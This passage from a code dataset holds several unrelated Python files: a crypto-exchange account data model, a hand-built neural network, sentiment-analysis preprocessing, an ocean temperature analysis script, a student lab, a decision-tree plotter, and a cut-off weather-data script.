 return render(request, 'tracker/ticketdetail.html', {'ticket': ticket,\n                                                'comments': comments,\n                                                'form': form })","repo_name":"Code-Institute-Submissions/Stream-Three-Project-2","sub_path":"tracker/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3090,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"55"}
+{"seq_id":"34325829853","text":"from dataclasses import dataclass, field\nfrom typing import Dict\n\n\n@dataclass\nclass AccountDetail:\n    avail_bal: float = 0\n    avail_eq: float = 0\n    ccy: str = \"\"\n    cash_bal: float = 0\n    u_time: int = 0\n    dis_eq: float = 0\n    eq: float = 0\n    eq_usd: float = 0\n    frozen_bal: float = 0\n    interest: float = 0\n    iso_eq: float = 0\n    liability: float = 0\n    max_loan: float = 0\n    notional_lever: float = 0\n    ord_frozen: float = 0\n    upl: float = 0\n    upl_liability: float = 0\n    cross_liability: float = 0\n    iso_liability: float = 0\n    coin_usd_price: float = 0\n    strategy_eq: float = 0\n    spot_in_usd_amt: float = 0\n    iso_upl: float = 0\n\n    @classmethod\n    def init_from_json(cls, json_response):\n        account_detail = AccountDetail()\n        account_detail.avail_bal = float(json_response[\"availBal\"]) if json_response.get(\"availBal\") else 0\n        account_detail.avail_eq = float(json_response[\"availEq\"]) if json_response.get(\"availEq\") else 0\n        account_detail.ccy = json_response[\"ccy\"]\n        account_detail.cash_bal = float(json_response[\"cashBal\"]) if json_response.get(\"cashBal\") else 0\n        account_detail.u_time = int(json_response[\"uTime\"]) if json_response.get(\"uTime\") else 0\n        account_detail.eq = float(json_response[\"eq\"]) if json_response.get(\"eq\") else 0\n        account_detail.eq_usd = float(json_response[\"eqUsd\"]) if json_response.get(\"eqUsd\") else 0\n        account_detail.frozen_bal = float(json_response[\"frozenBal\"]) if json_response.get(\"frozenBal\") else 0\n        account_detail.interest = float(json_response[\"interest\"]) if json_response.get(\"interest\") else 0\n        account_detail.iso_eq = float(json_response[\"isoEq\"]) if json_response.get(\"isoEq\") else 0\n        account_detail.liability = float(json_response[\"liab\"]) if json_response.get(\"liab\") else 0\n        account_detail.max_loan = float(json_response[\"maxLoan\"]) if json_response.get(\"maxLoan\") else 0\n        account_detail.notional_lever = float(json_response[\"notionalLever\"]) \\\n            if json_response.get(\"notionalLever\") else 0\n        account_detail.ord_frozen = float(json_response[\"ordFrozen\"]) if json_response.get(\"ordFrozen\") else 0\n        account_detail.upl = float(json_response[\"upl\"]) if json_response.get(\"upl\") else 0\n        account_detail.upl_liability = float(json_response[\"uplLiab\"]) if json_response.get(\"uplLiad\") else 0\n        account_detail.cross_liability = float(json_response[\"crossLiab\"]) if json_response.get(\"crossLiab\") else 0\n        account_detail.iso_liability = float(json_response[\"isoLiab\"]) if json_response.get(\"isoLiab\") else 0\n        account_detail.coin_usd_price = float(json_response[\"coinUsdPrice\"]) if json_response.get(\"coinUsdPrice\") else 0\n        account_detail.strategy_eq = float(json_response[\"stgyEq\"]) if json_response.get(\"stgyEq\") else 0\n        account_detail.spot_in_usd_amt = float(json_response[\"spotInUseAmt\"]) \\\n            if json_response.get(\"spotInUseAmt\") else 0\n        account_detail.iso_upl = float(json_response[\"isoUpl\"]) if json_response.get(\"isoUpl\") else 0\n        return account_detail\n\n\n@dataclass\nclass Account:\n    u_time: int = 0\n    total_eq: float = 0\n    iso_eq: float = 0\n    adj_eq: float = 0\n    ord_frozen: float = 0\n    imr: float = 0\n    mmr: float = 0\n    notional_usd: float = 0\n    mgn_ratio: float = 0\n    details: Dict[str, AccountDetail] = field(default_factory=lambda: list())\n\n    @classmethod\n    def init_from_json(cls, json_response):\n        \"\"\"\n        :param json_response:\n         {\n          \"arg\": {\n            \"channel\": \"account\",\n            \"uid\": \"77982378738415879\"\n          },\n          \"data\": [\n            {\n              \"uTime\": \"1614846244194\",\n              \"totalEq\": \"91884.8502560037982063\",\n              \"adjEq\": \"91884.8502560037982063\",\n              \"isoEq\": \"0\",\n              \"ordFroz\": \"0\",\n              \"imr\": \"0\",\n              \"mmr\": \"0\",\n              \"notionalUsd\": \"\",\n              \"mgnRatio\": \"100000\",\n              \"details\": [{\n                  \"availBal\": \"\",\n                  \"availEq\": \"1\",\n                  \"ccy\": \"BTC\",\n                  \"cashBal\": \"1\",\n                  \"uTime\": \"1617279471503\",\n                  \"disEq\": \"50559.01\",\n                  \"eq\": \"1\",\n                  \"eqUsd\": \"45078.3790756226851775\",\n                  \"frozenBal\": \"0\",\n                  \"interest\": \"0\",\n                  \"isoEq\": \"0\",\n                  \"liab\": \"0\",\n                  \"maxLoan\": \"\",\n                  \"mgnRatio\": \"\",\n                  \"notionalLever\": \"0.0022195262185864\",\n                  \"ordFrozen\": \"0\",\n                  \"upl\": \"0\",\n                  \"uplLiab\": \"0\",\n                  \"crossLiab\": \"0\",\n                  \"isoLiab\": \"0\",\n                  \"coinUsdPrice\": \"60000\",\n                  \"stgyEq\":\"0\",\n                  \"spotInUseAmt\":\"\",\n                  \"isoUpl\":\"\"\n                }\n              ]\n            }\n          ]\n        }\n        :return:\n        \"\"\"\n        data = json_response[\"data\"][0]\n        account = Account()\n        account.u_time = int(data[\"uTime\"]) if data.get(\"uTime\") else 0\n        account.total_eq = float(data[\"totalEq\"]) if data.get(\"totalEq\") else 0\n        account.iso_eq = float(data[\"isoEq\"]) if data.get(\"isoEq\") else 0\n        account.adj_eq = float(data[\"adjEq\"]) if data.get(\"adjEq\") else 0\n        account.ord_frozen = float(data[\"ordFroz\"]) if data.get(\"ordFroz\") else 0\n        account.imr = float(data[\"imr\"]) if data.get(\"imr\") else 0\n        account.mmr = float(data[\"mmr\"]) if data.get(\"mmr\") else 0\n        account.notional_usd = float(data[\"notionalUsd\"]) if data.get(\"notionalUsd\") else 0\n        account.mgn_ratio = float(data[\"mgnRatio\"]) if data.get(\"mgnRatio\") else 0\n        account.details = {detail_data[\"ccy\"]: AccountDetail.init_from_json(detail_data)\n                           for detail_data in data[\"details\"]}\n        return account\n\n    def update_from_json(self, json_response):\n        \"\"\"\n        Data pushed in regular interval: Only currencies with non-zero balance will be pushed.\n        Definition of non-zero balance: any value of eq, availEq, availBql parameters is not 0.\n        When the value of eq, availEq and availBql parameters are all zero, drop the detail of that ccy from Account\n        :param json_response: same as init_from_json\n        :return:\n        \"\"\"\n        data = json_response[\"data\"][0]\n        self.u_time = int(data[\"uTime\"]) if data.get(\"uTime\") else 0\n        self.total_eq = float(data[\"totalEq\"]) if data.get(\"totalEq\") else 0\n        self.iso_eq = float(data[\"isoEq\"]) if data.get(\"isoEq\") else 0\n        self.adj_eq = float(data[\"adjEq\"]) if data.get(\"adjEq\") else 0\n        self.ord_frozen = float(data[\"ordFroz\"]) if data.get(\"ordFroz\") else 0\n        self.imr = float(data[\"imr\"]) if data.get(\"imr\") else 0\n        self.mmr = float(data[\"mmr\"]) if data.get(\"mmr\") else 0\n        self.notional_usd = float(data[\"notionalUsd\"]) if data.get(\"notionalUsd\") else 0\n        self.mgn_ratio = float(data[\"mgnRatio\"]) if data.get(\"mgnRatio\") else 0\n        for detail_data in data[\"details\"]:\n            account_detail = AccountDetail.init_from_json(detail_data)\n            if not account_detail.eq and not account_detail.avail_eq and not account_detail.avail_bal and \\\n                    account_detail.ccy in self.details:\n                del self.details[account_detail.ccy]\n                continue\n            self.details[account_detail.ccy] = account_detail\n\n    def get_account_details(self) -> Dict[str, AccountDetail]:\n        return self.details\n","repo_name":"okxapi/okx-sample-market-maker","sub_path":"okx_market_maker/position_management_service/model/Account.py","file_name":"Account.py","file_ext":"py","file_size_in_byte":7596,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"55"}
+{"seq_id":"24807272923","text":"import numpy as np\r\nimport random as rd\r\nimport math as mh\r\n\r\ndef activatingFunction(x, ifDerivate = False, type = \"sigmoid\"):\r\n    if type == \"sigmoid\":\r\n        if ifDerivate == 0:\r\n            return 1/(1+np.exp(-x))\r\n        else:\r\n            return x*(1-x)\r\n    if type == \"none\":\r\n        if ifDerivate == 0:\r\n            return x\r\n    if type == \"step\":\r\n        if x >= 0:\r\n            return 1\r\n        else:\r\n            return 0\r\n    return 0\r\n\r\nclass NLayer:\r\n    def __init__(self, n, m, type = \"sigmoid\", firstScatter = 1):\r\n        self.lastLayer = n\r\n        self.layerSize = m\r\n        self.type = type\r\n        self.layer = 2*(np.random.rand(n, m)-0.5)*firstScatter\r\n        self.bias = 2*(np.random.rand(1, m)-0.5)*firstScatter\r\n        self.outputs = np.zeros((1, m))\r\n        self.weightsChanges = np.zeros((n, m))\r\n        self.biasChanges = np.zeros((1, m))\r\n    def excit(self,inputs):\r\n        self.inputs = inputs\r\n        self.outputs = activatingFunction(np.dot(inputs,self.layer) + self.bias,0,self.type)\r\n        return self.outputs\r\n    def updateLayer(self,changeLayer):\r\n        self.layer = self.layer + changeLayer\r\n        self.weightsChanges = changeLayer\r\n    def updateBias(self, changeBias):\r\n        self.bias = self.bias + changeBias\r\n        self.biasChanges = changeBias\r\n\r\n\r\nclass NN:\r\n    def __init__(self,n):\r\n        self.inputs = np.zeros(n)\r\n        self.outputs = np.zeros(n)\r\n        self.lastLayerSize = n\r\n        self.layers = np.array([],dtype=object)\r\n    def showLastResult(self):\r\n        print(self.outputs)\r\n    def newLayer(self,n,type = \"sigmoid\"):\r\n        a = NLayer(self.lastLayerSize,n,type)\r\n        self.layers = np.append(self.layers,a)\r\n        self.lastLayerSize = n\r\n    def predict(self,inputs):\r\n        self.inputs = inputs\r\n        n = len(self.layers)\r\n        if n==0:\r\n            self.outputs = inputs\r\n        else:\r\n            self.outputs = self.layers[0].excit(inputs)\r\n            if n>1:\r\n                for i in range(1,n):\r\n                    self.outputs = self.layers[i].excit(self.outputs)\r\n    def gradientDescent(self,ideal,E=0,b=0):\r\n        n = len(self.layers)\r\n        delta = (ideal - self.outputs) * activatingFunction(self.outputs, 1, self.layers[n - 1].type)\r\n        grad = np.dot(self.layers[n-1].inputs.transpose(), delta)\r\n        dw = E*grad + b*self.layers[n-1].weightsChanges\r\n        self.layers[n-1].updateLayer(dw)\r\n        dw = E*delta + b*self.layers[n-1].biasChanges\r\n        self.layers[n - 1].updateBias(dw)\r\n        for i in range(1, n):\r\n            x = self.layers[n - i].layer.transpose()\r\n            delta = activatingFunction(self.layers[n-1-i].outputs, 1, self.layers[n-i-1].type) * np.dot(delta, x)\r\n            grad = np.dot(self.layers[n-1-i].inputs.transpose(), delta)\r\n            dw = E * grad + b * self.layers[n-1-i].weightsChanges\r\n            self.layers[n-1-i].updateLayer(dw)\r\n            dw = E * delta + b * self.layers[n-1-i].biasChanges\r\n            self.layers[n-1-i].updateBias(dw)\r\n    def learnGD(self, testingSet, testingSetIdeal, Epohs, E, b):\r\n        x=0\r\n        print(\"starting learning\")\r\n        for i in range(1, Epohs+1):\r\n            n = len(testingSet)\r\n            for j in range(0, n):\r\n                self.predict(testingSet[j])\r\n                self.gradientDescent(testingSetIdeal[j], E, b)\r\n            if (Epohs/i)%10==0:\r\n                print(\"Learned percent:\")\r\n                x = x + 10\r\n                print(x)\r\n        print(\"done\")\r\n\r\ndef createMatrix(n,p):\r\n    a = np.zeros((n,n))\r\n    v = [0,1,1,1,1]\r\n    for i in range(0,p):\r\n        z = rd.randint(3, 5)\r\n        x = rd.randint(0,n-1-z)\r\n        y = rd.randint(0,n-1-z)\r\n        a[x][y]=1\r\n        for j in range(1,z):\r\n            for k in range(1,z):\r\n                a[x+j][y+k]=v[rd.randint(0,4)]\r\n    return a\r\n\r\ndef AddRailing(a,n):\r\n    for i in range(1,n-1):\r\n        for j in range(1,n-1):\r\n            if a[i][j]==0:\r\n                s1 = a[i-1][j-1]+a[i][j-1]+a[i+1][j-1]\r\n                s2 = a[i-1][j]+a[i][j]+a[i+1][j]\r\n                s3 = a[i-1][j+1]+a[i][j+1]+a[i+1][j+1]\r\n                if s1+s2+s3<=3:\r\n                    a[i][j]=rd.randint(0,1)\r\n    return a\r\n\r\ndef convert(x):\r\n    a = np.zeros((1,100))\r\n    k = 0\r\n    for i in range(0,10):\r\n        for j in range(0,10):\r\n            a[0][k]=x[i][j]\r\n            k=k+1\r\n    return a\r\n\r\ndef Precision(test,ideal):\r\n    count = 0\r\n    for i in range(0, 100):\r\n        if test[0][i]>0.5:\r\n            x=1\r\n        else:\r\n            x=0\r\n        if ideal[0][i]==x:\r\n            count=count+1\r\n    return count/100\r\n\r\n\r\nn = 1000\r\ntest = np.zeros((n,1,100))\r\nideal = np.zeros((n,1,100))\r\nfor i in range(0,n):\r\n    x = createMatrix(10,rd.randint(3,4))\r\n    test[i]=convert(AddRailing(x,10))\r\n    ideal[i]=convert(x)\r\nq = NN(100)\r\nq.newLayer(300)\r\nq.newLayer(100)\r\nq.learnGD(test,ideal,1000,0.7,0.3)\r\nx = createMatrix(10,rd.randint(3,4))\r\nq.predict(convert(AddRailing(x,10)))\r\nprint(x)\r\nq.showLastResult()\r\nprint(Precision(q.outputs,convert(x)))\r\n","repo_name":"NaydenkoA/Projects2","sub_path":"NeuralNetwork/jenerateTest2.py","file_name":"jenerateTest2.py","file_ext":"py","file_size_in_byte":5051,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"55"}
+{"seq_id":"4273577564","text":"import os\nimport pickle\nimport numpy as np\nimport pandas as pd\nfrom sklearn.model_selection import train_test_split\nfrom keras.preprocessing.text import Tokenizer\nfrom keras.preprocessing.sequence import pad_sequences\n\nnp.random.seed(42)\ndata_path = './data'\npos_corpus = 'positive.txt'\nneg_corpus = 'negative.txt'\n\ndef load_dataset():\n    pos_file = os.path.join(data_path, pos_corpus)\n    neg_file = os.path.join(data_path, neg_corpus)\n\n    pos_sents = []\n    with open(pos_file, 'r') as f:\n        for sent in f:\n            pos_sents.append(sent.replace('\\n', ''))\n\n    neg_sents = []\n    with open(neg_file, 'r') as f:\n        for sent in f:\n            neg_sents.append(sent.replace('\\n', ''))\n\n    balance_len = min(len(pos_sents), len(neg_sents))\n\n    pos_df = pd.DataFrame(pos_sents, columns=['text'])\n    pos_df['polarity'] = 1\n    pos_df = pos_df[:balance_len]\n\n    neg_df = pd.DataFrame(neg_sents, columns=['text'])\n    neg_df['polarity'] = 0\n    neg_df = neg_df[:balance_len]\n\n    return pd.concat([pos_df, neg_df]).reset_index(drop=True)\n\n\nprint('Loading dataset...')\ndataset = load_dataset()\ndataset.to_csv('stock_comments_analyzed.csv', index=False)\nprint('Dataset size ', len(dataset))\n\nX = dataset['text']\ny = dataset['polarity'].astype(int)\n\ntokenizer = Tokenizer(filters='!\"#$%&()*+,-./:;<=>?@[\\\\]^_`{|}~\\t\\n', lower=True, split=\" \")\ntokenizer.fit_on_texts(X)\nvocab = tokenizer.word_index\nprint('Vocab size', len(vocab))\n\nwith open('tokenizer.pkl', 'wb') as f:\n    pickle.dump(tokenizer, f)\nmax_len = 64\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3, random_state=42)\nX_train_word_ids = tokenizer.texts_to_sequences(X_train)\nX_test_word_ids = tokenizer.texts_to_sequences(X_test)\nX_train_padded_seqs = pad_sequences(X_train_word_ids, maxlen=max_len)\nX_test_padded_seqs = pad_sequences(X_test_word_ids, maxlen=max_len)\nword_embedding = True\n\nif word_embedding:\n    print('Embedding...')\n    EMBEDDING_FILE ='C:\\\\Users\\dsw\\\\Desktop\\\\sgns.baidubaike.bigram-char\\\\sgns.baidubaike.bigram-char'\n    embed_size = 300\n\n    def get_coefs(word, *arr): return word, np.asarray(arr, dtype='float32')\n\n    embeddings_index = dict(get_coefs(*o.rstrip().rsplit(' ')) for o in open(EMBEDDING_FILE, encoding='utf-8'))\n    word_index = tokenizer.word_index\n    embedding_matrix = np.zeros((len(vocab) + 1, embed_size))\n    for word, i in word_index.items():\n        embedding_vector = embeddings_index.get(word)\n        if embedding_vector is not None: embedding_matrix[i] = embedding_vector\n\n","repo_name":"zwy2021/Embedding-Matrix","sub_path":"model_dl.py","file_name":"model_dl.py","file_ext":"py","file_size_in_byte":2521,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"55"}
+{"seq_id":"13989653063","text":"'''\n    checking case study for the reanalyses to check in what \n    extend it reproduces the events (WA 2011 and TAS 2016)\n\n    using the daily output\n\n'''\n\n# load required modules\n\nimport numpy as np\nimport xarray as xr\nimport pandas as pd\nimport datetime\nfrom scipy import io # load matlab file\nfrom scipy import signal # detrend\nimport scipy.stats.mstats as st # highly similar to scipy.stats \n                                # but adapted for masked arrays\n\nfrom matplotlib import pyplot as plt\nimport matplotlib\nimport mpl_toolkits.basemap as bm\n\n# define indexes for lat lon of one pixel\nlat_px_min = -44 #-45 #-32 #-45 # deg N\nlat_px_max = -42 # -37 #-28 #-37\nlon_px_min = 44 #147 #112 #147 # deg E\nlon_px_max = 146 #155 #115 #155 \nlon_px_min_mdl = lon_px_min-360 ## offset in model\nlon_px_max_mdl = lon_px_max-360 ## offset in model\n\n# time vector \ntim_vec = pd.date_range('1982-01-01','2016-12-31',name='time',freq='D')\ntim_str = np.where(tim_vec == np.datetime64(datetime.datetime(1982,1,1)))\ntim_end = np.where(tim_vec == np.datetime64(datetime.datetime(2016,12,31)))\n\n#figfile = '/home/ecougnon/data/DPS/reanalysis/ETKF/ts_TAS_area_mdl_obs_SSTadaily.png'\n\n# load data\nfname_mdl = '/home/ecougnon/data/DPS/reanalysis/ETKF/ssta_reana_ETKF_mem001_20032017_daily_Aus.nc'\nlat_mdl = xr.open_dataset(fname_mdl)['yt_ocean']\nlat_mdl = lat_mdl.sel(yt_ocean=slice(lat_px_min,lat_px_max)) #, method='nearest')\nlon_mdl = xr.open_dataset(fname_mdl)['xt_ocean']\nlon_mdl = lon_mdl.sel(xt_ocean=slice(lon_px_min_mdl,lon_px_max_mdl)) #, method='nearest')\ntim_mdl = xr.open_dataset(fname_mdl)['time']\ntim_mdl = tim_mdl.sel(time=slice('2003-01-01', '2016-12-31'))\nsst_mdl = xr.open_dataset(fname_mdl)['dsst_mdl'] #['temp'] #['dsst_mdl'] #['sst_d']\nsst_mdl = sst_mdl.sel(yt_ocean=lat_mdl,xt_ocean=lon_mdl, time=tim_mdl)\nsst_mdl = np.nanmean(np.nanmean(sst_mdl,1),1)\n'''\nvalid = ~np.isnan(sst_mdl)\nif (valid.any()==True):\n    sst_mdl[:] = signal.detrend(sst_mdl[:], axis=0, \\\n                                type='linear')\nelif (valid.all()==False):\n    sst_mdl[:] = np.nan\n'''\n## read obs\n## whether or not using the SSTa_daily_Aus.nc\n# check = 0 -- pick a file from the original SST.mat files\n# check = 1 -- read a nc file \ncheck = 0\n\nif (check == 0):\n    header_obs = '/home/data/sst/noaa_oi_v2/avhrr/'\n    matobj_tmp = io.loadmat(header_obs + \\\n                            'timeseries/avhrr-only-v2.ts.0001.mat')\n    lat_tmp = matobj_tmp['lat']\n    lon_tmp = matobj_tmp['lon']\n    res = 0.25 # resolution of the data -- quarter degree\n# find the closest index from the lat/lon defined above\n    lat_px_min_id = np.nonzero((lat_tmp>(lat_px_min-res)) & \\\n                               (lat_tmp<(lat_px_min)))\n    lat_px_max_id = np.nonzero((lat_tmp>(lat_px_max-res)) & \\\n                               (lat_tmp<(lat_px_max)))\n    lon_px_min_id = np.nonzero((lon_tmp>(lon_px_min-res)) & \\\n                               (lon_tmp<(lon_px_min)))\n    lon_px_max_id = np.nonzero((lon_tmp>(lon_px_max-res)) & \\\n                               (lon_tmp<(lon_px_max)))\n# load time series from the given point\n    sst_obs = np.empty((len(np.arange(lon_px_min_id[0][0], \\\n                        lon_px_max_id[0][0]+1)), \\\n                        len(np.arange(lat_px_min_id[0][0], \\\n                        lat_px_max_id[0][0]+1)), len(tim_vec)))\n    sst_obs.fill(np.nan)\n    k=0\n    for i in range(lon_px_min_id[0][0],lon_px_max_id[0][0]+1):\n        print(i)\n        matobj = io.loadmat(header_obs + 'timeseries/avhrr-only-v2.ts.' \\\n                            + str(i).zfill(4) + '.mat')\n        sst_obs[k,:,:] = matobj['sst_ts'][lat_px_min_id[0][0]:lat_px_max_id[0][0]+1, \\\n                                          tim_str[0][0]:tim_end[0][0]+1]\n        k = k+1\n    sst_obs = np.nanmean(np.nanmean(sst_obs,0),0)\n    '''\n    valid = ~np.isnan(sst_obs)\n    if (valid.any()==True):\n        sst_obs[:] = signal.detrend(sst_obs[:], axis=0, \\\n                                    type='linear')\n    elif (valid.all()==False):\n        sst_obs[:] = np.nan\n    '''\nelif (check == 1):\n    import pandas as pd\n    import xarray as xr\n    fname = '/home/ecougnon/ana/SSTa_daily_Aus_20032016Dec.nc'\n    lat_obs = xr.open_dataset(fname)['lat']\n#    lat_obs = lat_obs.sel(lat=slice(lat_px_min,lat_px_max))\n    lat_obs = lat_obs.sel(lat=lat_mdl, method='nearest')\n    lon_obs = xr.open_dataset(fname)['lon']\n#    lon_obs = lon_obs.sel(lon=slice(lon_px_min,lon_px_max))\n    lon_obs = lon_obs.sel(lon=lon_mdl+360, method='nearest')\n    tim_obs = xr.open_dataset(fname)['time']\n    tim_obs = tim_obs.sel(time=slice('2003-01-01','2016-12-31'))\n    sst_obs = xr.open_dataset(fname)['SSTa']\n    sst_obs = sst_obs.sel(time=tim_obs, lat=lat_obs,lon=lon_obs)\n    sst_obs = np.nanmean(np.nanmean(sst_obs,0),0)\n\n# pearson correlation\nPearC, tmp = st.pearsonr(sst_mdl, sst_obs) \n\n## plotting\nplt.figure(figsize=(13,7))\nax = plt.subplot(111)\n#plt.plot(tim_mdl,sst_mdl)\nplt.plot(tim_vec,sst_obs)\n#plt.legend(['mdl','obs'])\n#plt.title('SSTa TAS area time series -- 37-45S 147-155E')\nplt.title('SSTa TAS area time series -- 42-44S 144-146E')\nplt.grid()\n#plt.text(0.3, 0.1, 'Pearson Correlation coefficient:' + str(round(PearC,3)), \\\n#         ha='center', va='center', transform=ax.transAxes, \\\n#         fontsize=14)\n\n#plt.savefig(figfile, bbox_inches='tight', dpi=300)\n\nplt.show() \n\n\n\n\n\n","repo_name":"weilin2018/sst_pot_pred_aus","sub_path":"DPS/test_reana_caseStudy_daily.py","file_name":"test_reana_caseStudy_daily.py","file_ext":"py","file_size_in_byte":5344,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"55"}
+{"seq_id":"16443037908","text":"###################################################\n# MC102 - Algoritmos e Programação de Computadores\n# Laboratório 2 - Chegada na Estação\n# Nome: Marina Victória Roncalio de Lima\n# RA: 241482\n###################################################\n\n# Leitura de dados\n\"\"\"x: distância em quilômetros entre as duas estações (valor inteiro).\nt: diferença em minutos do tempo de saída dos dois trens (valor inteiro).\nv_1: velocidade do trem T1 em km/h (valor real).\nv_2: velocidade do trem T2 em km/h (valor real).\"\"\"\n\nx = int(input())\nt = int(input())\nv_1 = float(input())\nv_2 = float(input())\n\n# Cálculo dos tempos de viagem\n\nt1 = x/v_1 #tempo que T1 leva para atingir B\nt2 = x/v_2 + t/60 #tempo que T2 leva para atingir B\n\n# Impressão da resposta\n\nif t1 < t2:\n    print(True)\nelse:\n    print(False)\n","repo_name":"marinavrl/MC102-2020","sub_path":"2semestre/lab02.py","file_name":"lab02.py","file_ext":"py","file_size_in_byte":810,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"55"}
+{"seq_id":"20779484694","text":"import matplotlib.pyplot as plt\n\n# 定义文本框和箭头样式\ndecision_node = dict(boxstyle='sawtooth', fc='0.8')\nleaf_node = dict(boxstyle='round4', fc='0.8')\narrow_args = dict(arrowstyle='<-')\n\n\ndef plot_node(node_text, centre_pt, parent_pt, node_type):\n    create_plot.ax1.annotate(node_text,\n                             xy=parent_pt,\n                             xycoords='axes fraction',\n                             xytext=centre_pt,\n                             textcoords='axes fraction',\n                             va='center',\n                             ha='center',\n                             bbox=node_type,\n                             arrowprops=arrow_args)\n\n\ndef create_plot(in_tree):\n    fig = plt.figure(1, facecolor='white')\n    fig.clf()\n    ax_props = dict(xticks=[], yticks=[])\n    create_plot.ax1 = plt.subplot(111, frameon=False, **ax_props)\n    plot_tree.total_w = float(get_leaf_num(in_tree))\n    plot_tree.total_d = float(get_tree_depth(in_tree))\n    plot_tree.x_off = -0.5 / plot_tree.total_w\n    plot_tree.y_off = 1.0\n    plot_tree(in_tree, (0.5, 1.0), '')\n    plt.show()\n\n\n# 获取树的叶结点数\ndef get_leaf_num(my_tree):\n    leaf_num = 0\n    sub_tree = my_tree[list(my_tree.keys())[0]]\n    for key in sub_tree.keys():\n        if type(sub_tree[key]).__name__ == 'dict':\n            leaf_num += get_leaf_num(sub_tree[key])\n        else:\n            leaf_num += 1\n    return leaf_num\n\n\n# 获取树的最大深度\ndef get_tree_depth(my_tree):\n    max_depth = 0\n    sub_tree = my_tree[list(my_tree.keys())[0]]\n    for key in sub_tree.keys():\n        if type(sub_tree[key]).__name__ == 'dict':\n            cur_depth = get_tree_depth(sub_tree[key]) + 1\n        else:\n            cur_depth = 1\n        max_depth = max(cur_depth, max_depth)\n    return max_depth\n\n\ndef retrieve_tree(i):\n    list_of_tree = [{'no surfacing': {0: 'no', 1: {'flippers': {0: 'no', 1: 'yes'}}}},\n                    {'no surfacing': {0: 'no', 1: {'flippers': {0: {'head': {0: 'no', 1: 'yes'}}, 1: 'no'}}}},\n                    ]\n    return list_of_tree[i]\n\n\ndef plot_parent_child_info(child, parent, txt):\n    x_mid = (parent[0] - child[0]) / 2.0 + child[0]\n    y_mid = (parent[1] - child[1]) / 2.0 + child[1]\n    create_plot.ax1.text(x_mid, y_mid, txt)\n\n\ndef plot_tree(my_tree, parent, node_txt):\n    leaf_num = get_leaf_num(my_tree)\n    depth = get_tree_depth(my_tree)\n    dict_key = list(my_tree.keys())[0]\n    cur_pt = (plot_tree.x_off + (1.0 + float(leaf_num)) / 2.0 / plot_tree.total_w, plot_tree.y_off)\n    plot_parent_child_info(cur_pt, parent, node_txt)\n    plot_node(dict_key, cur_pt, parent, decision_node)\n    sub_tree = my_tree[dict_key]\n    plot_tree.y_off = plot_tree.y_off - 1.0 / plot_tree.total_d\n    for key in sub_tree.keys():\n        if type(sub_tree[key]).__name__ == 'dict':\n            plot_tree(sub_tree[key], cur_pt, str(key))\n        else:\n            plot_tree.x_off = plot_tree.x_off + 1.0 / plot_tree.total_w\n            plot_node(sub_tree[key], (plot_tree.x_off, plot_tree.y_off), cur_pt, leaf_node)\n            plot_parent_child_info((plot_tree.x_off, plot_tree.y_off), cur_pt, str(key))\n    plot_tree.y_off = plot_tree.y_off + 1.0 / plot_tree.total_d\n\n","repo_name":"liuweiky/MachineLearningIntro","sub_path":"chapter03/tree_plotter.py","file_name":"tree_plotter.py","file_ext":"py","file_size_in_byte":3199,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"55"}
+{"seq_id":"9748647422","text":"import pandas as pd\nimport matplotlib.pyplot as plt\nimport os\nfrom loguru import logger\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.preprocessing import PolynomialFeatures\nfrom sklearn.metrics import r2_score\n\n\nAVG_TEMP_DATA = os.getcwd() + \"\\data\\CLMTEMP_KP_.csv\"\nGSR_DATA = os.getcwd() + \"\\data\\daily_KP_GSR_ALL.csv\"\nRH_DATA = os.getcwd() + \"\\data\\daily_KP_RH_ALL.csv\"\nSUN_DATA = os.getcwd() + \"\\data\\daily_KP_SUN_ALL.csv\"\nRF_DATA = os.getcwd() + \"\\data\\daily_KP_RF_ALL.csv\"\nUV_DATA = os.getcwd() + \"\\data\\daily_KP_UV_ALL.csv\"\nWSPD_DATA = os.getcwd() + \"\\data\\daily_KP_WSPD_ALL.csv\"\n\nDEGREE = 6\n\ndef DataJoinning(AVG_TEMP_df: pd.DataFrame, GSR_df: pd.DataFrame, RH_df: pd.DataFrame, SUN_df: pd.DataFrame, RF_df: pd.DataFrame, UV_df: pd.DataFrame, WSPD_df: pd.DataFrame):\n    AVG_TEMP_df.rename(columns={'date':'Date' ,'Value':'AVG_TEMP', 'data Completeness':'AVG_TEMP_Completeness'}, inplace=True)\n    GSR_df.rename(columns={'date':'GSR_date' ,'Value':'GSR', 'data Completeness':'GSR_Completeness'}, inplace=True)\n    RH_df.rename(columns={'date':'RH_date' ,'Value':'RH', 'data Completeness':'RH_Completeness'}, inplace=True)\n    SUN_df.rename(columns={'date':'SUN_date' ,'Value':'SUN', 'data Completeness':'SUN_Completeness'}, inplace=True)\n    RF_df.rename(columns={'date':'RF_date' ,'Value':'RF', 'data Completeness':'RF_Completeness'}, inplace=True)\n    UV_df.rename(columns={'date':'UV_date' ,'Value':'UV', 'data Completeness':'UV_Completeness'}, inplace=True)\n    WSPD_df.rename(columns={'date':'WSPD_date' ,'Value':'WSPD', 'data Completeness':'WSPD_Completeness'}, inplace=True)\n\n    # Drop rows with missing data\n    AVG_TEMP_df = AVG_TEMP_df[AVG_TEMP_df['AVG_TEMP_Completeness'] == 'C']\n    GSR_df = GSR_df[GSR_df['GSR_Completeness'] == 'C']\n    RH_df = RH_df[RH_df['RH_Completeness'] == 'C']\n    SUN_df = SUN_df[SUN_df['SUN_Completeness'] == 'C']\n    RF_df = RF_df[RF_df['RF_Completeness'] == 'C']\n    UV_df = UV_df[UV_df['UV_Completeness'] == 'C']\n    WSPD_df = WSPD_df[WSPD_df['WSPD_Completeness'] == 'C']\n\n    dfs = [AVG_TEMP_df, GSR_df, RH_df, SUN_df, RF_df, UV_df, WSPD_df]\n    # dfs = [df.set_index('date') for df in dfs]\n    # join_df = dfs[0].join(dfs[1:])\n    join_df = pd.concat(dfs, axis=1, join='inner')\n    join_df = join_df.drop(['GSR_date', 'RH_date', 'SUN_date', 'RF_date', 